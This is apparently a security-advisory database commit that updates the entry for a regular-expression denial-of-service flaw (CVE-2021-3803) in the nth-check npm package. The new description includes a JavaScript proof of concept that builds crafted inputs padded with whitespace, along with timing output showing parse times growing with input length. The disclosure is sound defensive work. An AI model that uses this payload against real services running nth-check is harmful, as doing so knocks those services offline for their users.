Publish GHSA-rp65-9cf3-cjxr

This commit is contained in:
advisory-database[bot]
2023-09-13 21:51:02 +00:00
parent 0c7518f8be
commit 98e6fd8135
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-rp65-9cf3-cjxr",
"modified": "2023-02-06T22:39:54Z",
"modified": "2023-09-13T21:49:54Z",
"published": "2021-09-20T20:47:31Z",
"aliases": [
"CVE-2021-3803"
],
"summary": "Inefficient Regular Expression Complexity in nth-check",
"details": "nth-check is vulnerable to Inefficient Regular Expression Complexity",
"details": "There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i <= 50000; i++) {\n var time = Date.now();\n var attack_str = '2n' + ' '.repeat(i*10000)+\"!\";\n try {\n nthCheck.parse(attack_str) \n }\n catch(err) {\n var time_cost = Date.now() - time;\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```",
"severity": [
{
"type": "CVSS_V3",